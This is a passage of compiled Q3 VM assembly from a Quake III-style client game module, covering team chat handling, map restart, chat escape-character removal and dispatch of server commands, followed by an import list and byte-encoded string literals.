ADDRLP4 8
CNSTP4 0
ASGNP4
LABELV $313
ADDRFP4 0
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $323
ADDRFP4 0
INDIRP4
INDIRI1
CVII4 1
CNSTI4 94
NEI4 $323
ADDRLP4 28
ADDRFP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
ASGNI4
ADDRLP4 28
INDIRI4
CNSTI4 0
EQI4 $323
ADDRLP4 28
INDIRI4
CNSTI4 65
LTI4 $326
ADDRLP4 28
INDIRI4
CNSTI4 90
LEI4 $325
LABELV $326
ADDRLP4 32
ADDRFP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
ASGNI4
ADDRLP4 32
INDIRI4
CNSTI4 97
LTI4 $327
ADDRLP4 32
INDIRI4
CNSTI4 122
LEI4 $325
LABELV $327
ADDRLP4 36
ADDRFP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
ASGNI4
ADDRLP4 36
INDIRI4
CNSTI4 48
LTI4 $323
ADDRLP4 36
INDIRI4
CNSTI4 57
GTI4 $323
LABELV $325
ADDRLP4 40
ADDRLP4 0
INDIRP4
ASGNP4
ADDRLP4 48
CNSTI4 1
ASGNI4
ADDRLP4 0
ADDRLP4 40
INDIRP4
ADDRLP4 48
INDIRI4
ADDP4
ASGNP4
ADDRLP4 44
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
ADDRLP4 44
INDIRP4
ADDRLP4 48
INDIRI4
ADDP4
ASGNP4
ADDRLP4 40
INDIRP4
ADDRLP4 44
INDIRP4
INDIRI1
ASGNI1
ADDRLP4 56
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 16
ADDRLP4 56
INDIRP4
INDIRI1
CVII4 1
ASGNI4
ADDRLP4 52
ADDRLP4 0
INDIRP4
ASGNP4
ADDRLP4 60
CNSTI4 1
ASGNI4
ADDRLP4 0
ADDRLP4 52
INDIRP4
ADDRLP4 60
INDIRI4
ADDP4
ASGNP4
ADDRFP4 0
ADDRLP4 56
INDIRP4
ADDRLP4 60
INDIRI4
ADDP4
ASGNP4
ADDRLP4 52
INDIRP4
ADDRLP4 56
INDIRP4
INDIRI1
ASGNI1
ADDRGP4 $311
JUMPV
LABELV $323
ADDRFP4 0
INDIRP4
INDIRI1
CVII4 1
CNSTI4 32
NEI4 $328
ADDRLP4 8
ADDRLP4 0
INDIRP4
ASGNP4
LABELV $328
ADDRLP4 40
ADDRLP4 0
INDIRP4
ASGNP4
ADDRLP4 48
CNSTI4 1
ASGNI4
ADDRLP4 0
ADDRLP4 40
INDIRP4
ADDRLP4 48
INDIRI4
ADDP4
ASGNP4
ADDRLP4 44
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
ADDRLP4 44
INDIRP4
ADDRLP4 48
INDIRI4
ADDP4
ASGNP4
ADDRLP4 40
INDIRP4
ADDRLP4 44
INDIRP4
INDIRI1
ASGNI1
ADDRLP4 4
ADDRLP4 4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $311
ADDRFP4 0
INDIRP4
INDIRI1
CVII4 1
CNSTI4 0
NEI4 $310
ADDRLP4 0
INDIRP4
CNSTI1 0
ASGNI1
ADDRGP4 cgs+152756
INDIRI4
ADDRLP4 12
INDIRI4
MODI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+152724
ADDP4
ADDRGP4 cg+107604
INDIRI4
ASGNI4
ADDRLP4 24
ADDRGP4 cgs+152756
ASGNP4
ADDRLP4 24
INDIRP4
ADDRLP4 24
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRGP4 cgs+152756
INDIRI4
ADDRGP4 cgs+152760
INDIRI4
SUBI4
ADDRLP4 12
INDIRI4
LEI4 $334
ADDRGP4 cgs+152760
ADDRGP4 cgs+152756
INDIRI4
ADDRLP4 12
INDIRI4
SUBI4
ASGNI4
LABELV $334
LABELV $297
endproc CG_AddToTeamChat 64 0
proc CG_MapRestart 0 12
ADDRGP4 cg_showmiss+12
INDIRI4
CNSTI4 0
EQI4 $341
ADDRGP4 $344
ARGP4
ADDRGP4 CG_Printf
CALLV
pop
LABELV $341
ADDRGP4 CG_InitLocalEntities
CALLV
pop
ADDRGP4 CG_InitMarkPolys
CALLV
pop
ADDRGP4 CG_ClearParticles
CALLV
pop
ADDRGP4 cg+107620
CNSTI4 0
ASGNI4
ADDRGP4 cg+107616
CNSTI4 0
ASGNI4
ADDRGP4 cg+116476
CNSTI4 0
ASGNI4
ADDRGP4 cg+116472
CNSTI4 0
ASGNI4
ADDRGP4 cg+24
CNSTI4 0
ASGNI4
ADDRGP4 cg+12
CNSTI4 0
ASGNI4
ADDRGP4 cgs+31676
CNSTI4 0
ASGNI4
ADDRGP4 cg+107624
CNSTI4 1
ASGNI4
ADDRGP4 CG_StartMusic
CALLV
pop
CNSTI4 1
ARGI4
ADDRGP4 trap_S_ClearLoopingSounds
CALLV
pop
ADDRGP4 cg+116692
INDIRI4
CNSTI4 0
NEI4 $353
ADDRGP4 cgs+152852+916
INDIRI4
ARGI4
CNSTI4 7
ARGI4
ADDRGP4 trap_S_StartLocalSound
CALLV
pop
ADDRGP4 $358
ARGP4
CNSTI4 120
ARGI4
CNSTI4 64
ARGI4
ADDRGP4 CG_CenterPrint
CALLV
pop
LABELV $353
ADDRGP4 $359
ARGP4
ADDRGP4 $360
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
LABELV $340
endproc CG_MapRestart 0 12
proc CG_RemoveChatEscapeChar 20 0
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 8
CNSTI4 0
ASGNI4
ADDRLP4 4
ADDRLP4 8
INDIRI4
ASGNI4
ADDRLP4 0
ADDRLP4 8
INDIRI4
ASGNI4
ADDRGP4 $365
JUMPV
LABELV $362
ADDRLP4 0
INDIRI4
ADDRFP4 0
INDIRP4
ADDP4
INDIRI1
CVII4 1
CNSTI4 25
NEI4 $366
ADDRGP4 $363
JUMPV
LABELV $366
ADDRLP4 12
ADDRLP4 4
INDIRI4
ASGNI4
ADDRLP4 4
ADDRLP4 12
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRLP4 12
INDIRI4
ADDRFP4 0
INDIRP4
ADDP4
ADDRLP4 0
INDIRI4
ADDRFP4 0
INDIRP4
ADDP4
INDIRI1
ASGNI1
LABELV $363
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $365
ADDRLP4 0
INDIRI4
ADDRFP4 0
INDIRP4
ADDP4
INDIRI1
CVII4 1
CNSTI4 0
NEI4 $362
ADDRLP4 4
INDIRI4
ADDRFP4 0
INDIRP4
ADDP4
CNSTI1 0
ASGNI1
LABELV $361
endproc CG_RemoveChatEscapeChar 20 0
proc CG_ServerCommand 404 12
CNSTI4 0
ARGI4
ADDRLP4 156
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 156
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
INDIRI1
CVII4 1
CNSTI4 0
NEI4 $369
ADDRGP4 $368
JUMPV
LABELV $369
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $373
ARGP4
ADDRLP4 160
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 160
INDIRI4
CNSTI4 0
NEI4 $371
CNSTI4 1
ARGI4
ADDRLP4 164
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 164
INDIRP4
ARGP4
CNSTI4 144
ARGI4
CNSTI4 16
ARGI4
ADDRGP4 CG_CenterPrint
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $371
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $376
ARGP4
ADDRLP4 164
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 164
INDIRI4
CNSTI4 0
NEI4 $374
ADDRGP4 CG_ConfigStringModified
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $374
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $379
ARGP4
ADDRLP4 168
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 168
INDIRI4
CNSTI4 0
NEI4 $377
CNSTI4 1
ARGI4
ADDRLP4 172
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRGP4 $380
ARGP4
ADDRLP4 172
INDIRP4
ARGP4
ADDRGP4 CG_Printf
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $377
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $383
ARGP4
ADDRLP4 172
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 172
INDIRI4
CNSTI4 0
NEI4 $381
ADDRGP4 cg_teamChatsOnly+12
INDIRI4
CNSTI4 0
NEI4 $368
ADDRGP4 cgs+152852+696
INDIRI4
ARGI4
CNSTI4 6
ARGI4
ADDRGP4 trap_S_StartLocalSound
CALLV
pop
CNSTI4 1
ARGI4
ADDRLP4 176
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 4
ARGP4
ADDRLP4 176
INDIRP4
ARGP4
CNSTI4 150
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRLP4 4
ARGP4
ADDRGP4 CG_RemoveChatEscapeChar
CALLV
pop
ADDRGP4 $389
ARGP4
ADDRLP4 4
ARGP4
ADDRGP4 CG_Printf
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $381
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $392
ARGP4
ADDRLP4 176
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 176
INDIRI4
CNSTI4 0
NEI4 $390
ADDRGP4 cgs+152852+696
INDIRI4
ARGI4
CNSTI4 6
ARGI4
ADDRGP4 trap_S_StartLocalSound
CALLV
pop
CNSTI4 1
ARGI4
ADDRLP4 180
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 4
ARGP4
ADDRLP4 180
INDIRP4
ARGP4
CNSTI4 150
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRLP4 4
ARGP4
ADDRGP4 CG_RemoveChatEscapeChar
CALLV
pop
ADDRLP4 4
ARGP4
ADDRGP4 CG_AddToTeamChat
CALLV
pop
ADDRGP4 $389
ARGP4
ADDRLP4 4
ARGP4
ADDRGP4 CG_Printf
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $390
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $397
ARGP4
ADDRLP4 180
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 180
INDIRI4
CNSTI4 0
NEI4 $395
ADDRGP4 CG_ParseScores
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $395
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $400
ARGP4
ADDRLP4 184
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 184
INDIRI4
CNSTI4 0
NEI4 $398
ADDRGP4 CG_ParseTeamInfo
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $398
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $403
ARGP4
ADDRLP4 188
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 188
INDIRI4
CNSTI4 0
NEI4 $401
ADDRGP4 CG_MapRestart
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $401
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $406
ARGP4
ADDRLP4 192
ADDRGP4 Q_stricmp
CALLI4
ASGNI4
ADDRLP4 192
INDIRI4
CNSTI4 0
NEI4 $404
ADDRLP4 196
ADDRGP4 trap_Argc
CALLI4
ASGNI4
ADDRLP4 196
INDIRI4
CNSTI4 4
NEI4 $368
CNSTI4 1
ARGI4
ADDRLP4 392
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 200
ARGP4
ADDRLP4 392
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
CNSTI4 2
ARGI4
ADDRLP4 396
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 264
ARGP4
ADDRLP4 396
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
CNSTI4 3
ARGI4
ADDRLP4 400
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 328
ARGP4
ADDRLP4 400
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRLP4 200
ARGP4
ADDRLP4 264
ARGP4
ADDRLP4 328
ARGP4
ADDRGP4 trap_R_RemapShader
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $404
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $411
ARGP4
ADDRLP4 196
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 196
INDIRI4
CNSTI4 0
NEI4 $409
ADDRGP4 CG_LoadDeferredPlayers
CALLV
pop
ADDRGP4 $368
JUMPV
LABELV $409
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $414
ARGP4
ADDRLP4 200
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 200
INDIRI4
CNSTI4 0
NEI4 $412
ADDRGP4 cg+12
CNSTI4 1
ASGNI4
ADDRGP4 $368
JUMPV
LABELV $412
ADDRGP4 $416
ARGP4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 CG_Printf
CALLV
pop
LABELV $368
endproc CG_ServerCommand 404 12
export CG_ExecuteNewServerCommands
proc CG_ExecuteNewServerCommands 12 4
ADDRFP4 0
ADDRFP4 0
INDIRI4
ASGNI4
ADDRGP4 $419
JUMPV
LABELV $418
ADDRLP4 0
ADDRGP4 cgs+31444
ASGNP4
ADDRLP4 4
ADDRLP4 0
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRLP4 0
INDIRP4
ADDRLP4 4
INDIRI4
ASGNI4
ADDRLP4 4
INDIRI4
ARGI4
ADDRLP4 8
ADDRGP4 trap_GetServerCommand
CALLI4
ASGNI4
ADDRLP4 8
INDIRI4
CNSTI4 0
EQI4 $422
ADDRGP4 CG_ServerCommand
CALLV
pop
LABELV $422
LABELV $419
ADDRGP4 cgs+31444
INDIRI4
ADDRFP4 0
INDIRI4
LTI4 $418
LABELV $417
endproc CG_ExecuteNewServerCommands 12 4
import CG_NewParticleArea
import initparticles
import CG_ParticleExplosion
import CG_ParticleMisc
import CG_ParticleDust
import CG_ParticleSparks
import CG_ParticleBulletDebris
import CG_ParticleSnowFlurry
import CG_AddParticleShrapnel
import CG_ParticleSmoke
import CG_ParticleSnow
import CG_AddParticles
import CG_ClearParticles
import trap_GetEntityToken
import trap_getCameraInfo
import trap_startCamera
import trap_loadCamera
import trap_SnapVector
import trap_RealTime
import trap_CIN_SetExtents
import trap_CIN_DrawCinematic
import trap_CIN_RunCinematic
import trap_CIN_StopCinematic
import trap_CIN_PlayCinematic
import trap_Key_GetKey
import trap_Key_SetCatcher
import trap_Key_GetCatcher
import trap_Key_IsDown
import trap_R_RegisterFont
import trap_MemoryRemaining
import testPrintFloat
import testPrintInt
import trap_SetUserCmdValue
import trap_GetUserCmd
import trap_GetCurrentCmdNumber
import trap_GetServerCommand
import trap_GetSnapshot
import trap_GetCurrentSnapshotNumber
import trap_GetGameState
import trap_GetGlconfig
import trap_R_inPVS
import trap_R_RemapShader
import trap_R_LerpTag
import trap_R_ModelBounds
import trap_R_DrawStretchPic
import trap_R_SetColor
import trap_R_RenderScene
import trap_R_LightForPoint
import trap_R_AddAdditiveLightToScene
import trap_R_AddLightToScene
import trap_R_AddPolysToScene
import trap_R_AddPolyToScene
import trap_R_AddRefEntityToScene
import trap_R_ClearScene
import trap_R_RegisterShaderNoMip
import trap_R_RegisterShader
import trap_R_RegisterSkin
import trap_R_RegisterModel
import trap_R_LoadWorldMap
import trap_S_StopBackgroundTrack
import trap_S_StartBackgroundTrack
import trap_S_RegisterSound
import trap_S_Respatialize
import trap_S_UpdateEntityPosition
import trap_S_AddRealLoopingSound
import trap_S_AddLoopingSound
import trap_S_ClearLoopingSounds
import trap_S_StartLocalSound
import trap_S_StopLoopingSound
import trap_S_StartSound
import trap_CM_MarkFragments
import trap_CM_TransformedCapsuleTrace
import trap_CM_TransformedBoxTrace
import trap_CM_CapsuleTrace
import trap_CM_BoxTrace
import trap_CM_TransformedPointContents
import trap_CM_PointContents
import trap_CM_TempBoxModel
import trap_CM_InlineModel
import trap_CM_NumInlineModels
import trap_CM_LoadMap
import trap_UpdateScreen
import trap_SendClientCommand
import trap_RemoveCommand
import trap_AddCommand
import trap_SendConsoleCommand
import trap_FS_Seek
import trap_FS_FCloseFile
import trap_FS_Write
import trap_FS_Read
import trap_FS_FOpenFile
import trap_Args
import trap_Argv
import trap_Argc
import trap_Cvar_VariableStringBuffer
import trap_Cvar_Set
import trap_Cvar_Update
import trap_Cvar_Register
import trap_Milliseconds
import trap_Error
import trap_Print
import CG_CheckChangedPredictableEvents
import CG_TransitionPlayerState
import CG_Respawn
import CG_InitConsoleCommands
import CG_ConsoleCommand
import CG_DrawOldTourneyScoreboard
import CG_DrawOldScoreboard
import CG_DrawInformation
import CG_LoadingClient
import CG_LoadingItem
import CG_LoadingString
import CG_ProcessSnapshots
import CG_MakeExplosion
import CG_Bleed
import CG_BigExplode
import CG_GibPlayer
import CG_ScorePlum
import CG_SpawnEffect
import CG_BubbleTrail
import CG_SmokePuff
import CG_AddLocalEntities
import CG_AllocLocalEntity
import CG_InitLocalEntities
import CG_ImpactMark
import CG_AddMarks
import CG_InitMarkPolys
import CG_OutOfAmmoChange
import CG_DrawWeaponSelect
import CG_AddPlayerWeapon
import CG_AddViewWeapon
import CG_GrappleTrail
import CG_RailTrail
import CG_Bullet
import CG_ShotgunFire
import CG_MissileHitPlayer
import CG_MissileHitWall
import CG_FireWeapon
import CG_RegisterItemVisuals
import CG_RegisterWeapon
import CG_Weapon_f
import CG_PrevWeapon_f
import CG_NextWeapon_f
import CG_PositionRotatedEntityOnTag
import CG_PositionEntityOnTag
import CG_AdjustPositionForMover
import CG_Beam
import CG_AddPacketEntities
import CG_SetEntitySoundPosition
import CG_PainEvent
import CG_EntityEvent
import CG_PlaceString
import CG_CheckEvents
import CG_LoadDeferredPlayers
import CG_PredictPlayerState
import CG_Trace
import CG_PointContents
import CG_BuildSolidList
import CG_CustomSound
import CG_NewClientInfo
import CG_AddRefEntityWithPowerups
import CG_ResetPlayerEntity
import CG_Player
import CG_StatusHandle
import CG_OtherTeamHasFlag
import CG_YourTeamHasFlag
import CG_GameTypeString
import CG_CheckOrderPending
import CG_Text_PaintChar
import CG_Draw3DModel
import CG_GetKillerText
import CG_GetGameStatusText
import CG_GetTeamColor
import CG_InitTeamChat
import CG_SetPrintString
import CG_ShowResponseHead
import CG_RunMenuScript
import CG_OwnerDrawVisible
import CG_GetValue
import CG_SelectNextPlayer
import CG_SelectPrevPlayer
import CG_Text_Height
import CG_Text_Width
import CG_Text_Paint
import CG_OwnerDraw
import CG_DrawTeamBackground
import CG_DrawFlagModel
import CG_DrawActive
import CG_DrawHead
import CG_CenterPrint
import CG_AddLagometerSnapshotInfo
import CG_AddLagometerFrameInfo
import teamChat2
import teamChat1
import systemChat
import drawTeamOverlayModificationCount
import numSortedTeamPlayers
import sortedTeamPlayers
import CG_DrawTopBottom
import CG_DrawSides
import CG_DrawRect
import UI_DrawProportionalString
import CG_GetColorForHealth
import CG_ColorForHealth
import CG_TileClear
import CG_TeamColor
import CG_FadeColor
import CG_DrawStrlen
import CG_DrawSmallStringColor
import CG_DrawSmallString
import CG_DrawBigStringColor
import CG_DrawBigString
import CG_DrawStringExt
import CG_DrawString
import CG_DrawPic
import CG_FillRect
import CG_AdjustFrom640
import CG_DrawActiveFrame
import CG_AddBufferedSound
import CG_ZoomUp_f
import CG_ZoomDown_f
import CG_TestModelPrevSkin_f
import CG_TestModelNextSkin_f
import CG_TestModelPrevFrame_f
import CG_TestModelNextFrame_f
import CG_TestGun_f
import CG_TestModel_f
import CG_BuildSpectatorString
import CG_GetSelectedScore
import CG_SetScoreSelection
import CG_RankRunFrame
import CG_EventHandling
import CG_MouseEvent
import CG_KeyEvent
import CG_LoadMenus
import CG_LastAttacker
import CG_CrosshairPlayer
import CG_UpdateCvars
import CG_StartMusic
import CG_Error
import CG_Printf
import CG_Argv
import CG_ConfigString
import cg_trueLightning
import cg_oldPlasma
import cg_oldRocket
import cg_oldRail
import cg_noProjectileTrail
import cg_noTaunt
import cg_bigFont
import cg_smallFont
import cg_cameraMode
import cg_timescale
import cg_timescaleFadeSpeed
import cg_timescaleFadeEnd
import cg_cameraOrbitDelay
import cg_cameraOrbit
import pmove_msec
import pmove_fixed
import cg_smoothClients
import cg_scorePlum
import cg_teamChatsOnly
import cg_drawFriend
import cg_deferPlayers
import cg_predictItems
import cg_blood
import cg_paused
import cg_buildScript
import cg_forceModel
import cg_stats
import cg_teamChatHeight
import cg_teamChatTime
import cg_synchronousClients
import cg_drawAttacker
import cg_lagometer
import cg_thirdPerson
import cg_thirdPersonAngle
import cg_thirdPersonRange
import cg_zoomFov
import cg_fov
import cg_simpleItems
import cg_ignore
import cg_autoswitch
import cg_tracerLength
import cg_tracerWidth
import cg_tracerChance
import cg_viewsize
import cg_drawGun
import cg_gun_z
import cg_gun_y
import cg_gun_x
import cg_gun_frame
import cg_brassTime
import cg_addMarks
import cg_footsteps
import cg_showmiss
import cg_noPlayerAnims
import cg_nopredict
import cg_errorDecay
import cg_railTrailTime
import cg_debugEvents
import cg_debugPosition
import cg_debugAnim
import cg_animSpeed
import cg_draw2D
import cg_drawStatus
import cg_crosshairHealth
import cg_crosshairSize
import cg_crosshairY
import cg_crosshairX
import cg_teamOverlayUserinfo
import cg_drawTeamOverlay
import cg_drawRewards
import cg_drawCrosshairNames
import cg_drawCrosshair
import cg_drawAmmoWarning
import cg_drawIcons
import cg_draw3dIcons
import cg_drawSnapshot
import cg_drawFPS
import cg_drawTimer
import cg_gibs
import cg_shadows
import cg_swingSpeed
import cg_bobroll
import cg_bobpitch
import cg_bobup
import cg_runroll
import cg_runpitch
import cg_centertime
import cg_markPolys
import cg_items
import cg_weapons
import cg_entities
import cg
import cgs
import BG_PlayerTouchesItem
import BG_PlayerStateToEntityStateExtraPolate
import BG_PlayerStateToEntityState
import BG_TouchJumpPad
import BG_AddPredictableEventToPlayerstate
import BG_EvaluateTrajectoryDelta
import BG_EvaluateTrajectory
import BG_CanItemBeGrabbed
import BG_FindItemForHoldable
import BG_FindItemForPowerup
import BG_FindItemForWeapon
import BG_FindItem
import bg_numItems
import bg_itemlist
import Pmove
import PM_UpdateViewAngles
import Com_Printf
import Com_Error
import Info_NextPair
import Info_Validate
import Info_SetValueForKey_Big
import Info_SetValueForKey
import Info_RemoveKey_Big
import Info_RemoveKey
import Info_ValueForKey
import Com_TruncateLongString
import va
import Q_CountChar
import Q_CleanStr
import Q_PrintStrlen
import Q_strcat
import Q_strncpyz
import Q_stristr
import Q_strupr
import Q_strlwr
import Q_stricmpn
import Q_strncmp
import Q_stricmp
import Q_isintegral
import Q_isanumber
import Q_isalpha
import Q_isupper
import Q_islower
import Q_isprint
import Com_RandomBytes
import Com_SkipCharset
import Com_SkipTokens
import Com_sprintf
import Com_HexStrToInt
import Parse3DMatrix
import Parse2DMatrix
import Parse1DMatrix
import SkipRestOfLine
import SkipBracedSection
import COM_MatchToken
import COM_ParseWarning
import COM_ParseError
import COM_Compress
import COM_ParseExt
import COM_Parse
import COM_GetCurrentParseLine
import COM_BeginParseSession
import COM_DefaultExtension
import COM_CompareExtension
import COM_StripExtension
import COM_GetExtension
import COM_SkipPath
import Com_Clamp
import PerpendicularVector
import AngleVectors
import MatrixMultiply
import MakeNormalVectors
import RotateAroundDirection
import RotatePointAroundVector
import ProjectPointOnPlane
import PlaneFromPoints
import AngleDelta
import AngleNormalize180
import AngleNormalize360
import AnglesSubtract
import AngleSubtract
import LerpAngle
import AngleMod
import BoundsIntersectPoint
import BoundsIntersectSphere
import BoundsIntersect
import BoxOnPlaneSide
import SetPlaneSignbits
import AxisCopy
import AxisClear
import AnglesToAxis
import vectoangles
import Q_crandom
import Q_random
import Q_rand
import Q_acos
import Q_log2
import VectorRotate
import Vector4Scale
import VectorNormalize2
import VectorNormalize
import CrossProduct
import VectorInverse
import VectorNormalizeFast
import DistanceSquared
import Distance
import VectorLengthSquared
import VectorLength
import VectorCompare
import AddPointToBounds
import ClearBounds
import RadiusFromBounds
import NormalizeColor
import ColorBytes4
import ColorBytes3
import _VectorMA
import _VectorScale
import _VectorCopy
import _VectorAdd
import _VectorSubtract
import _DotProduct
import ByteToDir
import DirToByte
import ClampShort
import ClampChar
import Q_rsqrt
import Q_fabs
import Q_isnan
import axisDefault
import vec3_origin
import g_color_table
import colorDkGrey
import colorMdGrey
import colorLtGrey
import colorWhite
import colorCyan
import colorMagenta
import colorYellow
import colorBlue
import colorGreen
import colorRed
import colorBlack
import bytedirs
import Hunk_AllocDebug
import FloatSwap
import LongSwap
import ShortSwap
import CopyLongSwap
import CopyShortSwap
import qk_acos
import qk_fabs
import qk_abs
import qk_tan
import qk_atan2
import qk_cos
import qk_sin
import qk_sqrt
import qk_floor
import qk_ceil
import qk_memcpy
import qk_memset
import qk_memmove
import qk_sscanf
import qk_vsnprintf
import qk_strtol
import qk_atoi
import qk_strtod
import qk_atof
import qk_toupper
import qk_tolower
import qk_strncpy
import qk_strstr
import qk_strrchr
import qk_strchr
import qk_strcmp
import qk_strcpy
import qk_strcat
import qk_strlen
import qk_rand
import qk_srand
import qk_qsort
lit
align 1
LABELV $416
byte 1 85
byte 1 110
byte 1 107
byte 1 110
byte 1 111
byte 1 119
byte 1 110
byte 1 32
byte 1 99
byte 1 108
byte 1 105
byte 1 101
byte 1 110
byte 1 116
byte 1 32
byte 1 103
byte 1 97
byte 1 109
byte 1 101
byte 1 32
byte 1 99
byte 1 111
byte 1 109
byte 1 109
byte 1 97
byte 1 110
byte 1 100
byte 1 58
byte 1 32
byte 1 37
byte 1 115
byte 1 10
byte 1 0
align 1
LABELV $414
byte 1 99
byte 1 108
byte 1 105
byte 1 101
byte 1 110
byte 1 116
byte 1 76
byte 1 101
byte 1 118
byte 1 101
byte 1 108
byte 1 83
byte 1 104
byte 1 111
byte 1 116
byte 1 0
align 1
LABELV $411
byte 1 108
byte 1 111
byte 1 97
byte 1 100
byte 1 100
byte 1 101
byte 1 102
byte 1 101
byte 1 114
byte 1 101
byte 1 100
byte 1 0
align 1
LABELV $406
byte 1 114
byte 1 101
byte 1 109
byte 1 97
byte 1 112
byte 1 83
byte 1 104
byte 1 97
byte 1 100
byte 1 101
byte 1 114
byte 1 0
align 1
LABELV $403
byte 1 109
byte 1 97
byte 1 112
byte 1 95
byte 1 114
byte 1 101
byte 1 115
byte 1 116
byte 1 97
byte 1 114
byte 1 116
byte 1 0
align 1
LABELV $400
byte 1 116
byte 1 105
byte 1 110
byte 1 102
byte 1 111
byte 1 0
align 1
LABELV $397
byte 1 115
byte 1 99
byte 1 111
byte 1 114
byte 1 101
byte 1 115
byte 1 0
align 1
LABELV $392
byte 1 116
byte 1 99
byte 1 104
byte 1 97
byte 1 116
byte 1 0
align 1
LABELV $389
byte 1 37
byte 1 115
byte 1 10
byte 1 0
align 1
LABELV $383
byte 1 99
byte 1 104
byte 1 97
byte 1 116
byte 1 0
align 1
LABELV $380
byte 1 37
byte 1 115
byte 1 0
align 1
LABELV $379
byte 1 112
byte 1 114
byte 1 105
byte 1 110
byte 1 116
byte 1 0
align 1
LABELV $376
byte 1 99
byte 1 115
byte 1 0
align 1
LABELV $373
byte 1 99
byte 1 112
byte 1 0
align 1
LABELV $360
byte 1 48
byte 1 0
align 1
LABELV $359
byte 1 99
byte 1 103
byte 1 95
byte 1 116
byte 1 104
byte 1 105
byte 1 114
byte 1 100
byte 1 80
byte 1 101
byte 1 114
byte 1 115
byte 1 111
byte 1 110
byte 1 0
align 1
LABELV $358
byte 1 70
byte 1 73
byte 1 71
byte 1 72
byte 1 84
byte 1 33
byte 1 0
align 1
LABELV $344
byte 1 67
byte 1 71
byte 1 95
byte 1 77
byte 1 97
byte 1 112
byte 1 82
byte 1 101
byte 1 115
byte 1 116
byte 1 97
byte 1 114
byte 1 116
byte 1 10
byte 1 0
align 1
LABELV $214
byte 1 64
byte 1 0
align 1
LABELV $211
byte 1 58
byte 1 0
align 1
LABELV $208
byte 1 61
byte 1 0
align 1
LABELV $180
byte 1 103
byte 1 95
byte 1 98
byte 1 108
byte 1 117
byte 1 101
byte 1 84
byte 1 101
byte 1 97
byte 1 109
byte 1 0
align 1
LABELV $176
byte 1 103
byte 1 95
byte 1 114
byte 1 101
byte 1 100
byte 1 84
byte 1 101
byte 1 97
byte 1 109
byte 1 0
align 1
LABELV $174
byte 1 109
byte 1 97
byte 1 112
byte 1 115
byte 1 47
byte 1 37
byte 1 115
byte 1 46
byte 1 98
byte 1 115
byte 1 112
byte 1 0
align 1
LABELV $171
byte 1 109
byte 1 97
byte 1 112
byte 1 110
byte 1 97
byte 1 109
byte 1 101
byte 1 0
align 1
LABELV $170
byte 1 115
byte 1 118
byte 1 95
byte 1 109
byte 1 97
byte 1 120
byte 1 99
byte 1 108
byte 1 105
byte 1 101
byte 1 110
byte 1 116
byte 1 115
byte 1 0
align 1
LABELV $168
byte 1 116
byte 1 105
byte 1 109
byte 1 101
byte 1 108
byte 1 105
byte 1 109
byte 1 105
byte 1 116
byte 1 0
align 1
LABELV $166
